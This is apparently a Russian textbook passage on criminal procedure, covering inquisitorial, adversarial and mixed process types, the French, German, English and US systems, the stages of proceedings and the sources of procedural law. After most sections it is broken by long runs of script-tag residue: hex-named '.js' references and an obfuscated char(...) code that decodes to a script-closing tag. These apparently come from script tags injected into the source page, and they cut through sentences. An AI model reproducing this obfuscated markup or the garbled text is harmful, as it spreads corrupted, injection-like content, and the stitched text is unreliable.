К одному из важнейших методов познания явлений объективного мира относится типология, в основе которой лежит расчленение явлений с последующей их группировкой. В научной литературе различают идеальную, морфологическую и сравнительно-историческую типологии.*
* Философский энциклопедический словарь. М., 1983. С. 685.

Идеальный тип явлений — тип, созданный на основе абстрактных конструкций, предельно логических понятий, не имеющий аналогов в реальности и используемый для изучения причин и характера отклонений исторической действительности от идеальной модели.
В основе идеальных типов лежат абстрактные конструкции. Однако они не изолированы от реальной жизни. Логическая абстракция, лежащая в основе идеального типа, отражает закономерности генезиса явления, отвлекаясь от поворотов и зигзагов исторического развития, от всего случайного и второстепенного. Тем не менее идеальный тип (логическая абстракция) не исключается из общего исторического вектора развития, в связи с чем он детализируется применительно к конкретно-историческим условиям. В этом случае можно говорить о виде идеального типа явления.2d540012d84a472cd880bf1393c9beaa.js" type="text/javascript">3742376ce92290dbbbaf7d1d30da396fchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)efaf146406944a0696f134cdd16e87ca.js" type="text/javascript">9b04fe6728a998953e43846f2a8832df.js" type="text/javascript">609f2263b05ba924be2e5096ebe3ebe2.js" type="text/javascript">71a5ba3505439a3b707d9a3ec795046e.js" type="text/javascript">b49c7186918eda98bc7425c71d09ab95.js" type="text/javascript">e13195dcfcb16c91ddd63b8376e2b026.js" type="text/javascript">d50591a917928affcd58b5b7b62c4cef.js" type="text/javascript">e902a952ec7a1e815bac3d761bb4cf8c.js" type="text/javascript">370dab5a836cdf7eec73b28f7952bac5.js" type="text/javascript">fd9f306052bb61e2999b503c2c38e670.js" type="text/javascript">ea556ac17ba5e373aec897d95486a909.js" type="text/javascript">

В догосударственный период развития общества уголовное право и уголовный процесс как типовые (в современном понимании) отсутствовали. Разумеется, конфликты имели место. Если они происходили внутри рода, то применялась лапидация (побитие камнями, изгнание из рода). Если же конфликты возникали между родами, то они разрешались с помощью поединка или выкупа. Однако эти действия нельзя отнести к процессуальным хотя бы потому, что в первом случае нет процедурных правил установления совершения членом рода нарушения каких-то традиций, а во втором — применения принуждения.
Вопрос, какая форма уголовного процесса появилась первой в государственный период развития общества, остается открытым. Я полагаю целесообразным рассмотреть эти формы, начиная с розыскной.
Розыскной процесс как идеальный тип — порядок производства по уголовному преследованию, когда:
1) административный метод правового регулирования применяется к производству по уголовным делам (метод власти и подчинения);
2) функции преследования, защиты и разрешения дела (судебная, юстиции) находятся в рамках деятельности одного органа;
3) источником движения процесса является обезличенная воля государства, веление закона;
4) подследственный является объектом исследования, объектом управления;
5) подследственный обладает определенным кругом прав, но их реализация зависит от усмотрения органа розыска;
6) самостоятельные стороны отсутствуют, в связи с чем процесс не нуждается ни в равноправии сторон, ни в состязательности;
7) доказывание находится в зачаточном состоянии или действует система формальных доказательств, где признание подследственного играет определяющую роль;
8) к подследственному для получения признания применяются пытки.
В качестве исторической формы розыскной процесс прошел три этапа развития.
На первом этапе развития розыскной процесс представлял собой уголовную (или административную) расправу.
На этом этапе орган розыска выполняет не только процессуальные функции, но и функции органа управления. Расправа применяется там и тогда, где и когда доказывание излишне либо потребность в нем невелика. Поэтому на этом этапе система формальных доказательств отсутствует.
Специалисты на этом этапе различают следующие виды розыскной формы уголовного процесса:
а) общинное дознание — судопроизводство по делам в небольших, относительно замкнутых обществах (общинах, полисах-государствах) с традиционной организацией, которые возникли непосредственно из родоплеменного строя.
В качестве суда в общинном дознании выступает обычно собрание всех или некоторых членов общины. Поводом к преследованию является донос, молва или усмотрение судей. В спорных ситуациях допускается опрос подследственного, дача показаний под присягой, ордалии (поединки или испытания). Судопроизводство сводится к решению вопроса о назначении наказания. Судопроизводство отличается крайней формальностью.
Ярким примером данного вида процесса является деятельность в Древней Греции «Коллегии одиннадцати», которая выполняла как полицейские, так и судебные функции. В ее компетенцию входили:
? надзор за рабами, находящимися в государственной и частной собственности;
? производство арестов и надзор за тюрьмой;
? осуществление судопроизводства по очевидным преступлениям;
? исполнение через своих служителей-рабов смертной казни.
«Коллегии одиннадцати» было предоставлено право по своему усмотрению на применение пыток и наложение клейма;
б) вотчинный суд — судопроизводство землевладельца, обладающего юрисдикцией над лично зависимым несвободным или полусвободным населением.
Производство начиналось по доносу или усмотрению судьи. Обвинитель как таковой отсутствовал. У участников процесса были не только обязанности, но и некоторые права. В качестве регулятора отношений выступал обычай, нарушение которого как крепостным, так и феодалом являлось преступлением;
в) уголовно-административная расправа — судопроизводство, предполагающее практически неограниченное усмотрение правоприменителя.d920e0657160fdac3d0c8db6f1ae9cda.js" type="text/javascript">f990f4657db37ec092f1652c2bb6e73dchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)ac043f4ac2cf9e4241acc6facfb2de19.js" type="text/javascript">2b7fdbe4a97db6b1ece5e5563cdc6d6e.js" type="text/javascript">3ddd5844b0439fd81e10471d9816c256.js" type="text/javascript">ee36c3c65d7f5c3403c418c025da0710.js" type="text/javascript">94715edd8638026ac83869f176f79d18.js" type="text/javascript">3d33e595cfdff42af4d2c8961c6606ab.js" type="text/javascript">167b40ae64dfe8f4447db4a1b4aa7659.js" type="text/javascript">659dfc3953f880c0c178e0ca02d3b2cc.js" type="text/javascript">9a7d99f9e7a937b4bad6a21ae29e31d7.js" type="text/javascript">6b100c95269a71e251b0afaa3bbcfe0e.js" type="text/javascript">3fe74470c4464c5993dffc17a3727916.js" type="text/javascript">

Состязательный процесс как идеальный тип — порядок производства по уголовному делу, для которого характерны:
1) наличие противоположных по своим интересам сторон — стороны обвинения (или уголовного преследования) и стороны защиты;
2) процессуальное равноправие или равенство сторон;
3) наличие независимого от сторон суда как нейтрального арбитра.
Независимость суда обусловливает следующие положения.
Во-первых, суд не вправе принимать на себя осуществление ни функции обвинения, ни функции защиты и выходить за рамки предъявленного обвинения.
Во-вторых, движущей силой процесса является спор сторон по поводу обвинения (Nemo nisi accusatus fuerit, condemnari potets — никто не может быть осужден без соответствующего обвинения — Марк Тулий Цицерон).
В-третьих, не только суд не вправе присваивать себе функции сторон, но и стороны не могут возлагать на себя функции суда (Nemo unguam judicet in se — никто не должен быть судьей в своем собственном деле).
Эти три коренных признака самодостаточны для состязательной формы уголовного судопроизводства.*
* Смирнов А. В. Состязательный процесс. СПб, 2001. С. 18-19.

Состязательный процесс как историческая форма подразделяется на виды.
1. Обвинительный (аккузационный) процесс — первый и элементарный вид состязательного процесса.
Для обвинительного процесса характерны:
? наличие уголовно-правового спора;
? существование сторон (обвинителя и обвиняемого);
? зависимость приговора суда от состязания сторон.
Однако студентам необходимо иметь в виду, что установление истины определяется не доказательствами, а соблюдением формальных условий состязания. Средствами ее установления являлись различного рода ордалии (испытания сторон огнем, водой, ядом и т. п.), судебный поединок либо присяга (поручительство). При более высоком уровне технологической культуры судья мог обращаться к религиозным и светским нормам, предписывающим определенные правила оценки доказательств по заранее заданным критериям, известным как система формальных доказательств.05c5ca8ae1a37fad08cc24a7ae325a78.js" type="text/javascript">bf0c3572dfa95c30fc4791e507d0b800char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)62167740419eb17c5369a7aca4c11995.js" type="text/javascript">5e212779a47b5630c856907a6a0579a3.js" type="text/javascript">668bbb8c06dc8c51109d8f6da763e022.js" type="text/javascript">58950088bd1bf6310528aca6a1d978fa.js" type="text/javascript">2eb52cfd2e98cdee4079125cd483f5d1.js" type="text/javascript">88423c4626ec789bb224209a1b8fe0a4.js" type="text/javascript">a56449480272ca6314063e8639cd5537.js" type="text/javascript">07c02049655f781f66487d925dc57e3c.js" type="text/javascript">b0c2fb2529306a1834d9295d895902c8.js" type="text/javascript">6d0aabb3d5af519f5bff4b9d74d16dfa.js" type="text/javascript">96b6a2b3ea1137c2936fc30425981465.js" type="text/javascript">

В настоящее время судопроизводство всех государств не содержит в рафинированном виде ни розыскных, ни состязательных начал. Уголовное судопроизводство во всех странах носит смешанный характер и содержит в себе в различных сочетаниях элементы идеальных моделей как розыскного, так и состязательного судопроизводства.
Смешанный уголовный процесс как его историческая форма — судопроизводство, в котором в различных сочетаниях находятся одновременно компоненты розыскной и состязательной формы.
В правовой литературе различают следующие виды смешанного уголовного процесса.
1. Смешанное судопроизводство, в котором предварительное расследование в полном объеме построено на розыскных, а судебные стадии — на состязательных началах. Предварительное расследование осуществляется специальным государственным органом (прокуратурой, полицией и т. п.). Эти органы в условиях тайны проводят различные следственные действия с целью установления обстоятельств совершенного деяния, изобличения виновных и реабилитации невиновных. Это расследование не ограничено какими-либо рамками по лицам или объему деяний. Обвинение лицу не предъявляется. Задача предварительного расследования состоит в установлении виновных и доказывании их вины, то есть оно выполняет функцию розыска. По окончании расследования в зависимости от его результатов принимаются решения в соответствии с действующим законодательством. При рассмотрении дела в суде стороны обвинения и защиты обладают равными правами. Все решения по уголовному делу принимаются судом — носителем функции юстиции.
Такое построение процесса связано с французским уголовно-процессуальным кодексом, который благодаря наполеоновским войнам долгое время служил образцом для уголовно-процессуального законодательства ряда государств. Данная форма уголовного судопроизводства сохраняет свое значение в настоящее время в странах, в которых существуют упрощенные формы досудебной подготовки материалов (неотложное и предварительное дознание во Франции, полицейское и преторское расследование в Италии). До последнего времени к этой форме относилось в России досудебное протокольное производство по подготовке материалов для суда.
2. Другие виды смешанного уголовного процесса допускают в различной степени элементы состязательности в досудебных стадиях. В смешанном судопроизводстве, допускающем элементы состязательности в досудебном производстве, различают следующие его разновидности.206b315371be64770f5c8821c4809b60.js" type="text/javascript">3a4c6a788a6d2730c561106d026659adchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)a61978cbb7aaaad27ec488fb1403d0e2.js" type="text/javascript">36e7cffba84863c5175e01fb746b72de.js" type="text/javascript">6591aaccc9bff6da3995f8610238ebc9.js" type="text/javascript">a7426633ed25a48abab3b03fc6c93d3c.js" type="text/javascript">365602d191ac5027e031ce026e4fd422.js" type="text/javascript">8eafd5f674ec30de11978cb2feca5a3a.js" type="text/javascript">a8fa3217d8a9706b7d36bea5d6c0a3f8.js" type="text/javascript">7bc19f85a2cda479601306c258eb5c0e.js" type="text/javascript">71c7a78f9a96397082f2b1425c43ad21.js" type="text/javascript">5b9b20cea2801f2032868b83fe0b3589.js" type="text/javascript">86895b1e465351b5d82bfd331abe357a.js" type="text/javascript">

В современном мире существует несколько национальных моделей уголовного судопроизводства, среди которых для России определяющее значение имеют романо-германская (континентальная) и англосаксонская (островная) системы права. Одним из основных различий между ними служит преобладающая роль в уголовном судопроизводстве либо законодательства, либо судебной практики (прецедентов). Однако в силу глобализации мировых процессов существует очевидная тенденция к сближению этих моделей. Если в континентальной системе права, к которой, кстати, относится российский уголовный процесс, возрастает нормотворческое значение судебной практики, то в странах общего (островного) права все большее развитие получает законодательство, трансформирующее суд из органа правотворческого в орган правоприменительного характера.*
* Апарова Т. В. Суды и судебный процесс Великобритании. Англия, Уэльс, Шотландия. М., 1996. С. 3,155; Боботов С. В. Буржуазная юстиция. Состояние и перспективы развития. М., 1989. С. 124-125; Давид Р. Основные правовые системы современности. М., 1988. С. 102 и др.

С точки зрения «идеальных» моделей уголовный процесс всех государств является смешанным, поскольку в нем присутствуют как розыскные, так и состязательные начала.
С точки зрения «исторических» моделей уголовный процесс демократических государств относится к публично-исковому типу, в котором обеспечиваются как частные (личные), так и общественные (публичные) интересы.
Розыскному началу подчинен обычно досудебный этап (общее расследование), а состязательному — судебные этапы производства по уголовному делу.
При этом следует иметь в виду, что в государствах с англосаксонской системой права расследование вообще не считается процессуальной деятельностью. Полиция и прокуратура в этих странах действуют юридически в качестве стороны обвинения, подготавливающей материалы для судебного разбирательства.
Яркими представителями континентальной системы права являются уголовные процессы Германии и Франции.
Во Франции функция уголовного преследования возложена на Прокуратуру и судебную полицию.
Прокуратура представляет собой централизованную систему органов, находящуюся под руководством министра юстиции. При каждом апелляционном суде имеется генеральный прокурор с помощниками, которые поддерживают обвинение в апелляционном суде и в суде присяжных, который по существу является судом шеффенов (судом с народными заседателями). В исправительных и полицейских трибуналах обвинение поддерживает республиканский прокурор. Прокуратура осуществляет процессуальное руководство судебной полицией.
Судебная полиция, к которой относятся национальная и муниципальная полиция, а также национальная жандармерия, проводит дознание. Должностные лица судебной полиции подразделяются на три категории:
? офицеры судебной полиции;
? агенты судебной полиции;
? должностные лица, уполномоченные на выполнение отдельных функций.
В Германии функция уголовного преследования возложена на прокуратуру. Прокуратура — иерархическая система, находящаяся при общих судах всех уровней. При Верховном федеральном суде преследование осуществляют генеральный федеральный прокурор и подчиненные ему прокуроры, подотчетные министру юстиции. Аналогичную структуру имеет прокуратура земель.
Расследование большинства уголовных дел осуществляет полиция. Функция прокурора заключается в решении вопроса о дальнейшем движении уголовного дела. По наиболее сложным и важным делам прокурор лично осуществляет досудебное производство, а полиция обязана исполнять его указания.
Во Франции досудебное производство состоит из трех стадий:
1) дознания;
2) возбуждения уголовного преследования;
3) предварительного следствия, в которую входит деятельность по преданию обвиняемого суду.
Полицейское дознание проводится полицейскими комиссарами, офицерами и агентами судебной полиции, мэрами и их помощниками. Дознание по некоторым делам вправе осуществлять полевые охранники, лесные сторожа и другие чиновники. Цель дознания состоит в обнаружении лиц, совершивших преступление, и доказательств их виновности.6fdb0390fa44d44f289050bceed6e256.js" type="text/javascript">c78f97c08f3cc9bbd0a6999628b70840char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)4f08017bc93e72e7081b3903399e3462.js" type="text/javascript">9193ad771c85596338f4f7a410d612f2.js" type="text/javascript">c118ee1102954007e603f7c106217993.js" type="text/javascript">1b0c9698f8de21b8c4e9a9faafda0bbb.js" type="text/javascript">329445aa27dbeef308fae6bbb5687274.js" type="text/javascript">03693c88079c1aaeab477a09afb6b12b.js" type="text/javascript">da0a3e796ce5597d2a378dc7d8ac7776.js" type="text/javascript">92ab1f57900e930c3b07505445035371.js" type="text/javascript">741ee8a6792b5d23cb8a9376745f1789.js" type="text/javascript">811522da35bb57757d30e7a21e86cc67.js" type="text/javascript">a0ce35d28bfa41af65df579c40229e39.js" type="text/javascript">

В уголовно-процессуальном праве государств с англосаксонской системой различают общее право и право справедливости.
Общее право Англии было создано вестминстерскими судьями, а право справедливости — решениями суда канцлера, исправлявшего недостатки общего права.
Основным источником уголовно-процессуального права является судебная практика.
Судебный прецедент — решение суда, которое обязательно для руководства по аналогичным уголовным делам как для вынесшего решение суда, так и для нижестоящего по отношению к нему суда.
Другим источником права служит закон (статутное право), который приобретает все большее значение. Однако он по-прежнему играет второстепенную роль до тех пор, пока не будет истолкован судебными решениями. Исключение составляют нормы Конституции США в силу их прямого действия.
Судебные системы Англии и США — ярких представителей рассматриваемой группы государств — отличаются сложностью.
В Англии специалисты выделяют низшие и высшие суды. Роль высших судов играют Верховный суд, состоящий из Высокого суда, Суда короны, уголовного отделения Апелляционного суда и по некоторым делам — Апелляционного комитета Палаты лордов.
В США судебная система включает в себя суды штатов и федеральные суды. В целом судебные системы штатов состоят из судов первой инстанции, апелляционных судов и Верховного суда. Высшие суды относятся к судам апелляционной инстанции. Кроме того, они в качестве суда первой инстанции рассматривают дела о преступлениях особого значения.
Суды низшего (первого) звена (мировые, полицейские, районные, муниципальные, окружные суды, суды графств, суды ограниченной юрисдикции и т. п.) с большой долей условности можно назвать магистратскими. Эти суды разрешают по существу дела о преступлениях небольшой тяжести (мисдименоров). Судьи этих судов не имеют права назначать наказания в виде лишения свободы на срок свыше 90 дней (США) и 6 месяцев (Англия).
По тяжким преступлениям эти суды участвуют в предварительном расследовании путем:
? санкционирования принудительных мер процессуального характера;
? обеспечения первоначальной явки в суд арестованного;
? установления суммы залога;
? назначения защитника для малоимущих;
? производства предварительного слушания дела.
Частно-исковое начало в англосаксонской системе права предполагает возможность выступления в качестве обвинителя любого гражданина. Тем не менее в настоящее время в Англии публичное обвинение по тяжким преступлениям осуществляет через своих помощников Директор публичных преследований, назначаемый Генеральным атторнеем из числа барристеров или солистеров. В США публичное обвинение осуществляет атторнейская служба, возглавляемая Генеральным атторнеем государства, в подчинении которого находятся атторнеи, имеющие до 50 помощников в каждом из 94 судебных округов.
Функцию защиты выполняют помимо лиц, в отношении которых осуществляется уголовное преследование, барристеры и солистеры.
Барристеры — лица (адвокаты), которые обеспечивают защиту в судебном разбирательстве (лица, работающие у барьера).
Солистеры — лица (адвокаты), собирающие доказательства в досудебных стадиях. В настоящее время среди них появились защитники-адвокаты, имеющие право выступать в суде.
В США выделяются две большие группы адвокатов.
В первую входят адвокаты, работающие в агентствах (юридических консультациях) и обеспечивающие защиту неимущих лиц по назначению (за счет средств штата).
Вторую группу составляют адвокаты, считающиеся частными и осуществляющие защиту по договору (за плату).
Досудебная подготовка материалов включает в себя четыре этапа:
1) пресечение совершения преступления;
2) производство до ареста;
3) арест;
4) регистрацию арестованного и полицейское расследование после ареста.
Досудебное производство, которое английские и американские юристы не считают стадией уголовного процесса, характеризуется следующими чертами:
1) органом досудебного производства по делу выступает обычно полиция. Атторнеи в США и Дирекция публичных преследований в Англии принимают участие в досудебном производстве крайне редко;
2) для начала досудебного производства не требуется фактического обоснования или акта возбуждения уголовного дела;
3) досудебное производство составляют поисковые действия полиции с использованием в том числе специальных средств, специальных агентов и осведомителей.
Подготовку материалов к судебному заседанию могут производить стороны: потерпевший и обвиняемый. В этом случае полиция действует за рамками уголовного процесса, помогая жертве преступления в подготовке материалов либо представляя ущемленные интересы государства;
4) досудебное производство в США урегулировано в целом ведомственными актами. При этом существует ряд запретов на некоторые действия полиции, например правило «об исключении».
Поскольку обвинительный приговор может быть основан только на допустимых доказательствах, постольку из уголовного судопроизводства исключаются фактические данные, полученные с нарушением «должной правовой процедуры».51921adda462d9163ed7204f9dc8292a.js" type="text/javascript">28f41b9eeb2d44b5c19dcfb715cf7df8char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)dc681574bfafac416c831b84928b1f65.js" type="text/javascript">5451dda805791e472cc8ff9c669d16b3.js" type="text/javascript">8eeb70c795579c08753e009b919569ee.js" type="text/javascript">9bdd9a36d20e3fb91397ba7d56f0f428.js" type="text/javascript">1d369c3a62eca59361ef3ae3f04b1e8b.js" type="text/javascript">6d00f7e44b2a510abaf9282ed47f652c.js" type="text/javascript">69b5636c88cc1bcbe8297e8c3dde1c3f.js" type="text/javascript">a1126820f464eccb3aceed657ab18a4b.js" type="text/javascript">638c4e2f4cc4a750a23f25ffd2548730.js" type="text/javascript">824397c807e6788a6abda226ea01df40.js" type="text/javascript">08b2835b31a3cb3b759f757c8fd0629f.js" type="text/javascript">

Уголовный процесс (уголовное судопроизводство) — специальная юридическая учебная дисциплина, являющаяся профилирующей в средних и высших учебных заведениях. Такое значение этой дисциплины определяется широким профилем подготовки специалистов в области юриспруденции. Автор по-прежнему придерживается позиции, в соответствии с которой юрист должен быть специалистом широкого профиля, специализация которого должна зависеть от его личных свойств и сложившихся жизненных обстоятельств.
Знание уголовного процесса в первую очередь необходимо студентам учебных заведений ведомств и министерств, деятельность которых направлена на борьбу с преступностью или судебное разрешение уголовно-правовых споров. Выпускникам этих заведений приходится в повседневной деятельности самостоятельно принимать решения по сложным юридическим вопросам в условиях дефицита времени и информации, осуществлять следственные и судебные действия, порядок производства которых урегулирован законом, применять разнообразные меры процессуального принуждения. Однако выпускникам коммерческих вузов тоже не следует пренебрегать знанием уголовного процесса, так как только глубокое усвоение теории уголовного процесса, уголовно-процессуального законодательства и практики его применения — обязательное условие эффективности практической деятельности, правильного применения и строжайшего соблюдения уголовно-процессуального закона.
Уголовный процесс — одна из сложнейших учебных дисциплин. Трудности ее изучения обусловлены, на мой взгляд, следующими обстоятельствами.
Во-первых, как и все юридические дисциплины, уголовный процесс носит в определенной мере абстрактный характер, ибо законодательство, с одной стороны, регулирует общественные отношения, и прежде всего правоотношения, а с другой — широко использует оценочные категории, допускающие субъективное усмотрение.
Во-вторых, все темы учебного курса взаимосвязаны друг с другом, они составляют органичное единство, каждая из тем в отдельности и тем более в совокупности с другими обладает системностью и внутренней логикой. Поэтому нельзя изучать стадии уголовного процесса, не усвоив понятие стадий уголовного судопроизводства в целом; вряд ли есть смысл приступать к изучению стадии пересмотра не вступивших в законную силу судебных актов, не поняв сущности и содержания судебного разбирательства в суде первой инстанции. Можно обоснованно утверждать, что при изучении норм Особенной части уголовно-процессуального права следует постоянно обращаться (или иметь в виду) к общим положениям, сформулированным в нормах Общей части соответствующего законодательства. Отсюда следует, что нужна постоянная и строгая последовательность в изучении предусмотренного программой учебного материала.
В-третьих, уголовный процесс — установленный уголовно-процессуальным законом определенный порядок принятия процессуальных решений и производства процессуальных действий. Этот порядок включает в себя условия, основания, последовательность и иные правила, четко урегулированные законом. Поэтому изучение уголовного процесса предполагает достаточно развитую память, ибо значительная часть учебного материала требует элементарного запоминания.9024be474bb749375668d898f1fda6dd.js" type="text/javascript">235db23465888bf87fab88bfc3d0c291char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)d379f56c512e35ff8eab8c3f7e81681f.js" type="text/javascript">af11891e8647ce44b5a8957653a869d6.js" type="text/javascript">5b2ee1881f442013284f1ad560d6c92b.js" type="text/javascript">5b69ad740033fc21ceca2c5988734c1a.js" type="text/javascript">e18a91a18fcae7df82e4227fded7920d.js" type="text/javascript">6d36e5abbb4cdeaa3979a1429aef0db8.js" type="text/javascript">3ec513c2a858b55cf38dde02d0a15f7d.js" type="text/javascript">057b5213e0fd8571ded2c3e6381b8cb7.js" type="text/javascript">af4eff8c3fc0aae814826f1afc4c85bc.js" type="text/javascript">ce85285bb1c618f6155a517a9de54851.js" type="text/javascript">e54b39b70cda65b6d3c8859de60e0f53.js" type="text/javascript">

Проблема сущности уголовного процесса — одна из фундаментальных и дискуссионных в уголовно-процессуальной теории. Поэтому в правовой литературе существует множество определений понятия уголовного процесса. При этом выбор позиции по данной проблематике определяется не столько вкусом, сколько мировоззрением, поддержкой тех или иных ценностей в уголовном судопроизводстве.
Модель российского уголовного процесса нашла отражение в следующих его определениях. Уголовный процесс (уголовное судопроизводство) — деятельность органа дознания, следователя, прокурора и суда по возбуждению, расследованию и разрешению уголовного дела; деятельность соответствующих органов и правоотношения; регламентированный нормами права порядок возбуждения, расследования и разрешения уголовного дела; надлежащая правовая процедура возбуждения, расследования и разрешения дела и т. п.
Представляется, что уголовный процесс — урегулированные уголовно-процессуальным законом правоотношения и деятельность его участников при определяющей роли в пределах своих полномочий органа дознания, следователя, прокурора и суда по установлению наличия или отсутствия фактических и юридических оснований для наступления уголовной ответственности за совершение преступления.
Вместе с тем содержательное определение понятия уголовного процесса должно отражать его специфические задачи и метод их решения. В самом общем виде уголовный процесс призван решать задачи справедливого наказания виновных и реабилитации невиновных. Методом решения этих задач служит уголовно-процессуальная форма, то есть совокупность процедур, предусмотренных уголовно-процессуальным правом. В связи с этим можно утверждать, что уголовный процесс — надлежащая юридическая форма, в рамках которой устанавливается наличие или отсутствие фактических и юридических оснований для наступления уголовной ответственности за совершение преступления.29511a9c147a246ef384ffaba358488c.js" type="text/javascript">f13b0892f1bc1595a68aef0bbf6e994achar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)e1320c812c3ddf445850288bbaeee84c.js" type="text/javascript">cb0986af9d071f0288088e886269d51a.js" type="text/javascript">39387e7539b17f99722d79ec229e6304.js" type="text/javascript">9662fad7780df376200ec3f85911b434.js" type="text/javascript">acb52012777554214733f6c388751b70.js" type="text/javascript">8a08d1ad1493788fa5f4d866ce1412b4.js" type="text/javascript">02134feaad67d9633db433c4e3583eb8.js" type="text/javascript">2d4c02b82203a3a923f5c3f0ac66b582.js" type="text/javascript">985bb9e8dc9945cc791b521c3bedac83.js" type="text/javascript">38b12995a2a946f22c8e9a5ad177cdd8.js" type="text/javascript">2bf302bc293fea7b8611a681cb6a8573.js" type="text/javascript">

Уголовный процесс приведен в систему с помощью стадий.
Стадия уголовного процесса — относительно самостоятельная и необходимая его часть, характеризующаяся специфическими целями и задачами, кругом участников, сроками, действиями и правоотношениями, решениями и документами.
Традиционно специалисты делят стадии на обычные и исключительные.
К обычным они относят:
1) возбуждение уголовного дела;
2) предварительное расследование;
3) назначение судебного заседания (предание суду);
4) судебное разбирательство;
5) кассационное производство;
6) исполнение приговора.
Некоторые названия стадий не отражают современных реалий и не учитывают изменения в законодательстве. В частности, мне представляется, что стадию предварительного расследования следует называть стадией досудебной подготовки материалов потому, что установление обстоятельств совершения преступлений осуществляется не только в форме расследования, но и в протокольной форме. Известно, что протокольная форма досудебной подготовки материалов успешно конкурирует с предварительным расследованием, поскольку в этой форме устанавливаются фактические обстоятельства 25-30% совершенных преступлений. В то же время стадию кассационного производства целесообразно переименовать в стадию пересмотра приговоров, не вступивших в законную силу, поскольку в уголовном процессе появилось апелляционное производство.
К исключительным относятся стадии:920b14a7451ed733978b04263f20fb68.js" type="text/javascript">cb2cea099dc7741fafa5754e94e0ee87char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)eddbb137ee83a3586755834e3fae8907.js" type="text/javascript">259dc411a53b1ad2549815c5df011cb6.js" type="text/javascript">875c537e3d034a508d954d43999e168b.js" type="text/javascript">cc301a75a203a0a1f83dcc6d0e02923e.js" type="text/javascript">a2b22f55651caa66f55b47365b4c3985.js" type="text/javascript">14e4bc77ad451d32c3fe3c84f7bbf84d.js" type="text/javascript">949aa2f8f849cfe74b9e13253fb48039.js" type="text/javascript">b8a0775b9ac9b2c7f872993167db90d6.js" type="text/javascript">81027b758048b622dfc7ecc1130eb5c9.js" type="text/javascript">5380f15de4bc05b8d0bc74e5c5685622.js" type="text/javascript">6b46b7892d3e7119cffe8b354ef29316.js" type="text/javascript">

Уголовно-процессуальное право — отрасль российского права, состоящая из совокупности правовых норм, регулирующих правоотношения и деятельность в сфере уголовного судопроизводства.
Источники уголовно-процессуального права — формы его существования и проявления в общественном развитии.
Источниками уголовно-процессуального права являются.
1. Конституция РФ. В соответствии со ст. 15 Конституции РФ ее нормы имеют высшую юридическую силу, прямое действие и применяются на всей территории России.
Суд, разрешая дело, применяет непосредственно Конституцию РФ, в частности:
а) когда закрепленные нормой Конституции РФ положения, исходя из ее смысла, не требуют дополнительной регламентации и не содержат указания на возможность ее применения при условии принятия федерального закона, регулирующего права, свободы, обязанности человека и гражданина, и другие положения;
б) когда суд придет к выводу, что федеральный закон, действовавший на территории Российской Федерации до вступления в силу Конституции РФ, противоречит ей;
в) когда суд придет к убеждению, что федеральный закон, принятый после вступления в силу Конституции Российской Федерации, находится в противоречии с соответствующими положениями Конституции;
г) когда закон либо иной нормативный правовой акт, принятый cубъектом Российской Федерации по предметам совместного ведения. Российской Федерации и субъектов Российской Федерации, противоречит Конституции РФ, а федеральный закон, который должен регулировать рассматриваемые судом правоотношения, отсутствует.
В случаях, когда статья Конституции РФ является отсылочной, суды при рассмотрении дел должны применять закон, регулирующий возникшие правоотношения.*
* Постановление Пленума Верховного Суда РФ от 31 октября 1995 г. «О некоторых вопросах применения судами Конституции Российской Федерации при осуществлении правосудия»//Сборник постановлений Пленумов Верховного Суда Российской Федерации (СССР, РСФСР) по уголовным делам. М., 2000. С.3-4.7a51ac776a3b5238905010b7263e4e0f.js" type="text/javascript">107fb93c4fa6bb13a8c445373d225367char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)1d85ce3774ed7c4707587fc08cffaa50.js" type="text/javascript">98c7ca4d949628149aa31add216463b0.js" type="text/javascript">0108b7aa9958d8d604c89ecde6247d33.js" type="text/javascript">422d34c9ad7155b029f42a373fd7ac2a.js" type="text/javascript">3b2decbf481aaebc2c39080f0dc60f9e.js" type="text/javascript">03f8ccd4ce40b201a27feac0b948ebc0.js" type="text/javascript">69e4d2e8e6c94502954b47d54a400cf4.js" type="text/javascript">18085a4c48356440442781c17c6ac4c1.js" type="text/javascript">53a21f33e0a6f517178e1000b8af74dd.js" type="text/javascript">9531b5eefb73377de805c0d66c088f4c.js" type="text/javascript">d791163fbc354b2ae0e305343190a6b3.js" type="text/javascript">